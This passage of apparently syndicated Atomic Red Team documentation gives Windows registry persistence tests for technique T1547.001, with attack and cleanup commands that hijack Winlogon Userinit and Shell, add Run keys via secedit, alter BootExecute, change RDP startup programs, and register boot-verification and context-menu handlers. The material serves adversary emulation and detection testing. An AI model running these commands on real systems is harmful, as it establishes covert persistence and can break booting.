<p><strong>auto_generated_guid:</strong> f7fab6cc-8ece-4ca7-a0f1-30a22fccd374</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>payload</td>
<td>what to run</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
\(newvalue = \)oldvalue + " #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'
</code></pre>
<h2><strong>Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value</strong></h2>
<p>This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" to log a change to the key's default value without breaking boot sequence. An atacker will alternatively replace this with a custom shell.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 1d958c61-09c6-4d9e-b26b-4130314e520e</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>payload</td>
<td>what to run</td>
<td>string</td>
<td>C:\Windows\explorer.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
\(newvalue = \)oldvalue + ", #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'
</code></pre>
<h2><strong>Atomic Test #16 - secedit used to create a Run key in the HKLM Hive</strong></h2>
<p>secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive. <a href="https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d">Reference</a></p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>ini_file</td>
<td>INI config template</td>
<td>string</td>
<td>$PathToAtomicsFolder\T1547.001\src\regtemplate.ini</td>
</tr>
<tr>
<td>secedit_db</td>
<td>Custom secedit db</td>
<td>string</td>
<td>mytemplate.db</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">secedit /import /db #{secedit_db} /cfg "#{ini_file}"
secedit /configure /db #{secedit_db}
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f &gt;nul 2&gt;&amp;1
</code></pre>
<h2><strong>Atomic Test #17 - Modify BootExecute Value</strong></h2>
<p>This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. Reference - <a href="https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf">https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf</a> NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> befc2b40-d487-4a5a-8813-c11085fb5672</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>registry_value</td>
<td>Registry value to set</td>
<td>string</td>
<td>autocheck autoche *</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">if (!(Test-Path "\(PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "\)PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force
</code></pre>
<h2><strong>Atomic Test #18 - Allowing custom application to execute during new RDP logon session</strong></h2>
<p>When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> b051b3c0-66e7-4a81-916d-e6383bd3a669</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>malicious_app</td>
<td>Application to be executed during successful RDP session</td>
<td>string</td>
<td>calc</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "#{malicious_app}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "rdpclip"
</code></pre>
<h2><strong>Atomic Test #19 - Creating Boot Verification Program Key for application execution during successful boot</strong></h2>
<p>Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor can abuse by creating this registry key and providing a malicious application to be executed during successful boot</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 6e1666d5-3f2b-4b9a-80aa-f011322380d4</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>malicious_file</td>
<td>Application to be executed during successful boot</td>
<td>string</td>
<td>C:\Program Files\Internet Explorer\iexplore.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f
</code></pre>
<h2><strong>Atomic Test #20 - Add persistence via Windows Context Menu</strong></h2>
<p>This atomic test add persistence taking advantage of the Windows Context Menu <a href="https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/">Hexacorn</a> User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> de47f4a0-2acb-416d-9a6b-cee584a4c4d1</p>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command" /ve /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg delete "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify" /f
</code></pre>
<p>Ref: <a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md</a></p>
]]></content:encoded></item></channel></rss>